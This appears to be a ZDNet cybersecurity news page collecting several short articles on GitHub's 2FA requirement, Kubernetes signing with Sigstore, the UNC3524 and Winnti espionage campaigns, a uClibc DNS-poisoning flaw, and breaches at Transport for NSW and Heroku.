Information Technology

GitHub is introducing new rules surrounding developers and two-factor authentication (2FA) security.

On Wednesday, the Microsoft-owned code repository said that changes will be made to existing authentication rules as “part of a platform-wide effort to secure the software ecosystem through improving account security.”According to Mike Hanley, GitHub’s Chief Security Officer (CSO), GitHub will require any developer contributing code to the platform to enable at least one form of 2FA by the end of 2023. Open source projects are popular and widely used, valuable resources for individuals and the enterprise alike. However, if a threat actor compromises a developer’s account, this could lead to hijacked repos, data theft, and project disruption. Cloud platform provider Heroku, owned by Salesforce, disclosed a security incident in April. A subset of its private git repositories was compromised following the theft of OAuth tokens, potentially leading to unauthorized access to customer repos. GitHub says the software supply chain “starts with the developer,” and has been tightening up its controls with this in mind — noting that developer accounts are “frequent targets for social engineering and account takeover.” Recently, the issue of malicious packages being uploaded to GitHub’s npm registry has also brought software supply chain security to the forefront. In many cases, it isn’t a zero-day vulnerability that causes the collapse of open source projects or gives developers sleepless nights. Instead, it’s the fundamental weaknesses — such as weak password credentials or stolen information — that cyberattackers exploit. However, the code repository has also acknowledged that there can be a trade-off between security and user experience. So, the 2023 deadline will also give the organization the time to “optimize” the GitHub domain before the rules are set in stone. “Developers everywhere can expect more options for secure authentication and account recovery, along with improvements that help prevent and recover from account compromise,” Hanley commented. For GitHub, 2FA implementation may be becoming a pressing issue, with only 16.5% of active GitHub users and 6.44% of npm users adopting at least one form of 2FA. GitHub has already depreciated basic authentication, using usernames and passwords only, in favor of integrating OAuth or Access tokens. The organization has also introduced email-based device verification when 2FA has not been enabled. The current plan is to continue a mandatory 2FA rollout on npm, moving from the top 100 packages to the 500, and then those with over 500 dependants or one million weekly downloads. The lessons learned from this testbed will then be applied to GitHub. “While we are investing deeply across our platform and the broader industry to improve the overall security of the software supply chain, the value of that investment is fundamentally limited if we do not address the ongoing risk of account compromise,” Hanley said. “Our response to this challenge continues today with our commitment to drive improved supply chain security through safe practices for individual developers.” In April, GitHub introduced a new scanning feature to protect developers and stop them from accidentally leaking secrets. The enterprise user feature is an optional check for developers to enable for use during workflows and before a git push is launched.   Previous and related coverage Have a tip? Get in touch securely via WhatsApp | Signal at +447713 025 499, or over at Keybase: charlie0 More

Container orchestrator Kubernetes will now include cryptographically signed certificates, using the Sigstore project created last year by the Linux Foundation, Google, Red Hat and Purdue University in a bid to protect against supply chain attacks.The Sigstore certificates are being used in the just released Kubernetes version 1.24 and all future releases. According to founding Sigstore developer Dan Lorenc, a former member of Google’s open source security team, the use of Sigstore certificates allows Kubernetes users to verify the authenticity and integrity of the distribution they’re using by “giving users the ability to verify signatures and have greater confidence in the origin of each and every deployed Kubernetes binary, source code bundle and container image.”It’s one step forward for open source software development in the battle against software supply chain attacks.The Linux Foundation announced the Sigstore project in March 2021. The new Alpha-Omega open-source supply chain security project, which is backed by Google and Microsoft, also uses Sigstore certificates. Google’s open source security team announced the Sigstore-related project Cosign in May 2021 to simplify signing and verifying container images, as well as the Rekor ‘tamper resistant’ ledger, which lets software maintainers and build systems to record signed metadata to an “immutable record”. According to Lorenc, the Kubernetes release team’s adoption of Sigstore is part of its work on Supply chain Levels for Software Artifacts, or SLSA — a framework developed by Google for internally protecting its software supply chain that’s now a 3-level specification being shaped by Google, Intel, the Linux Foundation and others. Kubernetes 1.23 achieved SLSA Level 1 compliance in version 1.23. “Sigstore was a key project in achieving SLSA level 2 status and getting a headstart towards achieving SLSA level 3 compliance, which the Kubernetes community expects to reach this August,” says Lorenc. Lorenc tells ZDNet that Kubernetes’ adoption of Sigstore is a major step forward for the project because it has about 5.6 million users. The Sigstore project is also approaching Python developers with a new tool for signing Python packages, as well as major package repositories such as Maven Central and RubyGems. Kubernetes serves as critical focal points to help draw attention, take a large amount of work, and has an outsized impact on the entire supply chain he says. These efforts coincide with new projects like the new Package Analysis Project, an initiative by Google and the the Linux Foundation’s Open Source Security Foundation (OpenSSF) to identify malicious packages for popular languages like Python and JavaScript. Malicious packages like are regularly uploaded to popular repositories despite their best efforts, with sometimes devastating consequences for users, according to Google. More

A previously undisclosed cyber-espionage group is using clever techniques to breach corporate networks and steal information related to mergers, acquisitions and other large financial transactions – and they’ve been able to remain undetected by victims for periods of more than 18 months. Detailed by cybersecurity researchers at Mandiant, who’ve named it UNC3524, the hacking operation has been active since at least December 2019 and uses a range of advanced methods to infiltrate and maintain persistence on compromised networks that set it apart from most other hacking groups. These methods include the ability to immediately re-infect environments after access is removed. It’s currently unknown how initial access is achieved.  

ZDNet Recommends

One of the reasons UNC3524 is so successful at maintaining persistence on networks for such a long time is because it installs backdoors on applications and services that don’t support security tools, such as anti-virus or endpoint protection.  SEE: A winning strategy for cybersecurity (ZDNet special report)The attacks also exploit vulnerabilities in Internet of Things (IoT) products, including conference-room cameras, to deploy a backdoor on devices that ropes them into a botnet that can be used for lateral movement across networks, providing access to servers.From here, the attackers can gain a foothold in Windows networks, deploying malware that leaves almost no traces behind at all, while also exploiting built-in Windows protocols, all of which helps the group gain access to privileged credentials to the victim’s Microsoft Office 365 mail environment and Microsoft Exchange Servers. This combination of unmonitored IoT devices, stealthy malware and exploiting legitimate Windows protocols that can pass for regular traffic means UNC3524 is difficult to detect – and it’s also why those behind the attacks have been able to remain on victim networks for significant periods of time without being spotted.  “By targeting trusted systems within victim environments that do not support any type of security tooling, UNC3524 was able to remain undetected in victim environments for at least 18 months,” wrote researchers at Mandiant.  And if their access to Windows was somehow removed, the attackers almost immediately got back in to continue the espionage and data-theft campaign. UNC3524 focuses heavily on emails of employees that work on corporate development, mergers and acquisitions, as well as large corporate transactions. While this might look like it suggests a financial motivation for attacks, the dwell time of months or even years inside networks leads researchers to believe the real motivation for the attacks is espionage. Mandiant researchers say that some of the techniques used by UNC3524 once inside networks overlaps with Russian-based cyber-espionage groups, including APT28 (Fancy Bear) and APT29 (Cozy Bear).  However, they also note that they currently “cannot conclusively link UNC3524 to an existing group”, but emphasise that UNC3524 is an advanced espionage campaign that demonstrates a rarely seen high level of sophistication.  “Throughout their operations, the threat actor demonstrated sophisticated operational security that we see only a small number of threat actors demonstrate,” they said. One of the reasons UNC3524 is so powerful is because it has the ability to stealthily remain undetected with the aid of exploiting lesser-monitored tools and software. Researchers suggest the best opportunity for detection remains network-based logging. In addition to this, because the attacks look to exploit unsecured and unmonitored IoT devices and systems, it’s suggested that “organisations should take steps to inventory their devices that are on the network and do not support monitoring tools”.MORE ON CYBERSECURITY More

Researchers at IoT security firm Nozomi Networks are warning that a popular library for the C programming language for IoT products is vulnerable to DNS cache-poisoning attacks. The bug is 10 years old and, at present, could not be fixed by its maintainers.Nozomi security researcher Andrea Palanca discovered that the Domain Name System (DNS) implementation of uClibc and uClibc-ng C libraries used in several popular IoT products generates predictable, incremental transaction identifiers (IDs) in DNS response and request network communications.       

Internet of Things

uClibc stopped being maintained in 2012 after the release of version uClibc-0.9.33.2, while the uClibc-ng fork is designed for use within OpenWRT, a common OS for routers “possibly deployed throughout various critical infrastructure sectors”, according to Palanca.SEE: The Emotet botnet is back, and it has some new tricks to spread malwareuClibc is also known to be used by Linksys, Netgear, and Axis, and Linux distributions, such as Embedded Gentoo, notes Palanca.Nozomi has opted not to disclose the specific IoT devices it tested because the bug is unpatched. However, Palanca notes the devices tested were “a range of well-known IoT devices running the latest firmware versions with a high chance of them being deployed throughout all critical infrastructure.” The uClibc-ng fork is a small C library for developing embedded Linux systems with the advantage of being much smaller than the GNU C Library (glibc). Palanca says he reported the issue to ICS-CERT in September to undertake a VINCE (Vulnerability Information and Coordination Environment) case with CERT/CC. In April, CERT/CC approved his request to proceed with vulnerability disclosure on May 2. The issue is being tracked as ICS-VU-638779, VU#473698. CERT/CC invited uClibc-ng’s maintainer to the VINCE case in mid-March but the developer said he was unable to implement the fix himself and suggested sharing the vulnerability report on the mailing list with a “rather small community” that might be able to help implement a fix.Six months on from the original bug report to ICS-CERT, the bug remains unpatched and serves as a reminder of the challenges in open-source software security and more broadly the software supply chain due to a lack of developer resources and funding.The main risk of DNS-poisoning attacks is that they can force an authentication response. DNS, often described as the ‘phonebook of the internet’, is responsible for translating IP addresses into domain names. A DNS-poisoning attack involves an attacker poisoning DNS records to dupe a DNS client into accepting a forged response, and from making a program reroute network communication to an endpoint they control rather than the correct one. While testing an unnamed IoT device, Palanca noticed the transaction IDs – one of two secret bits in the query-response communication – were incremental. These IDs were generated by uClibc 0.9.33.2, which its original maintainer released in May 2012. “To have a DNS response accepted for a certain DNS request, the aforementioned 5-tuple, the query, and the transaction ID must be correctly set,” explains Palanca in a blogpost.  SEE: Google: Multiple hacking groups are using the war in Ukraine as a lure in phishing attemptsHe says that – because the protocol is DNS, publicly known information includes that destination port, the query is the target that an attacker wants to compromise, the source IP address is the target machine, and that the destination IP address is the address of the DNS server in use in a certain network – the only unknowns remain the source port and the transaction ID. “It is vital that these two parameters are as unpredictable as possible, because if they are not, a poisoning attack could be possible,” notes Palanca. “Given that the transaction ID is now predictable, to exploit the vulnerability an attacker would need to craft a DNS response that contains the correct source port, as well as win the race against the legitimate DNS response incoming from the DNS server.”Exploitability of the issue depends exactly on these factors. As the function does not apply any explicit source port randomization, it is likely that the issue can easily be exploited in a reliable way if the operating system is configured to use a fixed or predictable source port.”    Palanca notes that modern Linux kernels enable OS-level source port randomization, making it more difficult to exploit for DNS-poisoning attacks. However, if an attacker has enough bandwidth, they might be able to “brute-force the 16 bit source port value by sending multiple DNS responses, while simultaneously winning the race against the legitimate DNS response.” More

Written by

Aimee Chanthadavong, Senior Journalist

Aimee Chanthadavong
Senior Journalist

Since completing a degree in journalism, Aimee has had her fair share of covering various topics, including business, retail, manufacturing, and travel. She continues to expand her repertoire as a tech journalist with ZDNet.

Full Bio

Transport for NSW has confirmed its Authorised Inspection Scheme (AIS) online application was impacted by a cyber incident in early April. The AIS authorises examiners to inspect vehicles to ensure a minimum safety standard. To become an authorised examiner, online applications need to be submitted and requires applicants to share personal details including their full name, address, phone number, email address, date of birth, and driver’s licence number. According to Transport for NSW, the incident saw an unauthorised third-party successfully access a “small number” of the application’s user accounts. “We recognise that data privacy is paramount and deeply regret that customers may be affected by this attack,” Transport for NSW said. “Scammers may try to capitalise on these events. Customers should not respond to unsolicited phone calls, emails or text messages from anyone claiming to be from Transport for NSW related to any security matter.” Transport for NSW said it is notifying affected examiners individually and will provide options to help them avoid further impacts from the incident. Additionally, security measures have also been put in place, Transport for NSW assured and highlighted monitoring of the application continues. This latest breach comes just over a year after Transport for NSW said it was being impacted by a cyber attack on a file transfer system owned by Accellion.The Accellion system was widely used to share and store files by organisations around the world, including Transport for NSW.At the end of last year, the state’s auditor-general Margaret Crawfound found none of NSW’s lead cluster agencies — including Transport — had implemented all Essential Eight controls, which was a cause for “significant concern”.”Key elements to strengthen cybersecurity governance, controls, and culture are not sufficiently robust and not consistently applied. There has been insufficient progress to improve cyber security safeguards across NSW government agencies,” the auditor-general wrote in a compliance report [PDF] about the state’s cybersecurity capabilities.Related Coverage More

Written by

Chris Duckett, APAC Editor

Chris Duckett
APAC Editor

Chris started his journalistic adventure in 2006 as the Editor of Builder AU after originally joining CBS as a programmer. After a Canadian sojourn, he returned in 2011 as the Editor of TechRepublic Australia, and is now the Australian Editor of ZDNet.

Full Bio

Getty
Heroku has alerted a “subset” of its users that it is going to reset their passwords on May 4 unless they change passwords beforehand. In resetting the password, the company is warning that existing API access tokens will also be useless, and new ones will need to be generated. Publicly, the company has only said “a subset” of its customers would be emailed “regarding our continuous efforts to enhance security”. “We appreciate your collaboration and trust as we continue to make your success our top priority,” it said on a security incident notification that has been running for 18 days and counting. The incident in question relates to a theft of OAuth tokens that GitHub saw in April, which impacted four OAuth applications related to Heroku Dashboard and one from Travis CI. “The initial detection related to this campaign occurred on April 12 when GitHub Security identified unauthorised access to our npm production infrastructure using a compromised AWS API key,” GitHub said. “Based on subsequent analysis, we believe this API key was obtained by the attacker when they downloaded a set of private npm repositories using a stolen OAuth token from one of the two affected third-party OAuth applications described above.” GitHub said it informed Heroku and Travis-CI of the incident on April 13 and 14. “GitHub contacted Heroku and Travis-CI to request that they initiate their own security investigations, revoke all OAuth user tokens associated with the affected applications, and begin work to notify their own users,” it said. By April 27, GitHub said it was sending out its final notifications to impacted customers, and said the attackers used the stolen OAuth tokens issued to Heroku and Travis CI to list user organisations before choosing targets, and cloning private repositories. “This pattern of behaviour suggests the attacker was only listing organisations in order to identify accounts to selectively target for listing and downloading private repositories,” GitHub said. “GitHub believes these attacks were highly targeted based on the available information and our analysis of the attacker behaviour using the compromised OAuth tokens issued to Travis CI and Heroku.” For its part, Heroku said in its incident page that it was alerted on April 13 that a subset of its private repositories and source code was downloaded on April 9, before it revoked tokens from the Heroku GitHub integration, and said on April 23 that the integration would stay down. “We take the protection of our customers very seriously, and as a result, we will not be reconnecting to GitHub until we are certain that we can do so safely, which may take some time. We recommend that customers use alternate methods rather than waiting for us to restore this integration,” Heroku said. Since that time until Tuesday, the Salesforce-owned company has been making almost daily updates simply stating the investigation is ongoing and asking customers to send them logs from GitHub. Related Coverage More

Researchers have disclosed a sophisticated Winnti cyber campaign that abuses Windows mechanisms in a way ‘rarely seen.”

According to Cybereason, the Chinese advanced persistent threat (APT) group Winnti is behind the campaign, which has gone undetected for years.Active since at least 2010, Winnti is a threat group that operates using a vast array of malware and tools at its disposal. The APT, also known as APT41, BARIUM, or Blackfly, is suspected of working on behalf of the Chinese state and focuses on cyberespionage and data theft. Past attacks connected to the group include cyberattacks against video game developers, software vendors, and universities in Hong Kong. Winnti also capitalized on the Microsoft Exchange Server ProxyLogon flaws, alongside other APTs, when the critical vulnerabilities were first made public. In two reports published on Wednesday, Cybereason said the company had briefed both the FBI and US Department of Justice (DoJ) on the APT’s campaign, which has been active since 2019 but only recently exposed. According to the cybersecurity researchers, the covert attacks have been focused on infiltrating the networks of technology and manufacturing companies in Europe, Asia, and North America, focusing on stealing sensitive proprietary information. Dubbed Operation CuckooBees, Winnti’s “multi-stage infection chain” begins with exploiting vulnerabilities in enterprise resource planning (ERP) software and the deployment of the Spyder loader. The researchers say that some of the exploited bugs were known, but others were also zero-day vulnerabilities. Once access to an enterprise system is achieved, a webshell, made up of simple code published on websites in the Chinese language, is dropped to maintain persistence. In addition, Winnti tampers with the Windows feature WinRM over HTTP/HTTPS, and IKEEXT and PrintNotify Windows services, to create backup persistence mechanisms and to sideload Winnti DLLs. The group then performs detailed reconnaissance on the operating system, network, and user files, before attempting to crack passwords locally using credential dumping techniques and tools. Remote scheduled tasks are used to try and move laterally across networks. Of particular note is Winnti’s use of Stashlog, malicious software designed to abuse the Microsoft Windows Common Log File System (CLFS). Stashlog manipulates the Transactional NTFS (TxF) and Transactional Registry (TxR) operations of CLFS. The executable stashes a payload into the CLFS log file as part of the infection chain. “The attackers leveraged the Windows CLFS mechanism and NTFS transaction manipulations, which allowed them to conceal their payloads and evade detection by traditional security products,” Cybereason says, adding that such abuse of CLFS is “rarely seen.” Following Stashlog activities, the APT will then use various tools, including Sparklog, Privatelog, and Deploylog. These malware variants extract data from the CLFS log, escalate privileges, enable further persistence, and will deploy the Winnkit rootkit driver – which acts as a kernel-mode agent to intercept TCP/IP requests. As the investigation into Winnti’s campaign is ongoing, the cybersecurity firm has only been able to share partial Indicators of Compromise (IoCs). “Perhaps one of the most interesting things to notice is the elaborate and multi-phased infection chain Winnti employed,” the researchers say. “The malware authors chose to break the infection chain into multiple interdependent phases, where each phase relies on the previous one in order to execute correctly. This demonstrates the thought and effort that was put into both the malware and operational security considerations, making it almost impossible to analyze unless all pieces of the puzzle are assembled in the correct order.” Previous and related coverage Have a tip? Get in touch securely via WhatsApp | Signal at +447713 025 499, or over at Keybase: charlie0 More

Written by

Chris Duckett, APAC Editor

Chris Duckett
APAC Editor

Chris started his journalistic adventure in 2006 as the Editor of Builder AU after originally joining CBS as a programmer. After a Canadian sojourn, he returned in 2011 as the Editor of TechRepublic Australia, and is now the Australian Editor of ZDNet.

Full Bio

Google’s Threat Analysis Group (TAG) has provided an update on cyber activity in Eastern Europe, which follows on from its March missive. Overall, TAG said threat actors were increasingly using the Russian invasion of Ukraine as a phishing and malware lure, and were targeting critical infrastructure such as oil and gas, telecommunications, and manufacturing. “Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links,” TAG said. “Financially motivated and criminal actors are also using current events as a means for targeting users.” Proving that any target is fair game, TAG detailed the case of the Chinese People’s Liberation Army Strategic Support Force-linked Curious Gorge group, which has been hunting targets in Russia, Ukraine, and Central Asia. “In Russia, long running campaigns against multiple government organisations have continued, including the Ministry of Foreign Affairs. Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers, and a Russian logistics company,” it said. Another Chinese group known as either Bronze President, Mustang Panda, TA416, or RedDelta has recently turned its attention to Russia. “This suggests that the threat actors have received updated tasking that reflects the changing intelligence collection requirements of the People’s Republic of China (PRC),” researchers from Secureworks said. From the Russian side, TAG said state-backed Fancy Bear group went after targets in Ukraine with malware built using .Net to email cookies and passwords from Chrome, Edge, and Firefox browsers to a compromised account. Meanwhile, the FSB-aligned Turla group was conducting campaigns against defence and cybersecurity entities from Baltic nations using malicious docx files, and Coldriver continued to use compromised Gmail accounts to target government and defence officials, politicians, NGOs, think tanks, and journalists with malicious files intended to get them onto a phishing domain. Not to be left out, the Belarusian actor Ghostwriter has resumed phishing to go after Gmail accounts, but has so far come up empty, TAG said. The group also conducted a Facebook phishing campaign mainly targeting Lithuanians. “Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation. We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity,” TAG said. Last week, Microsoft said it had seen six Russian state-sponsored groups launch 237 cyberattacks against Ukraine in the weeks leading up to the invasion. Related Coverage More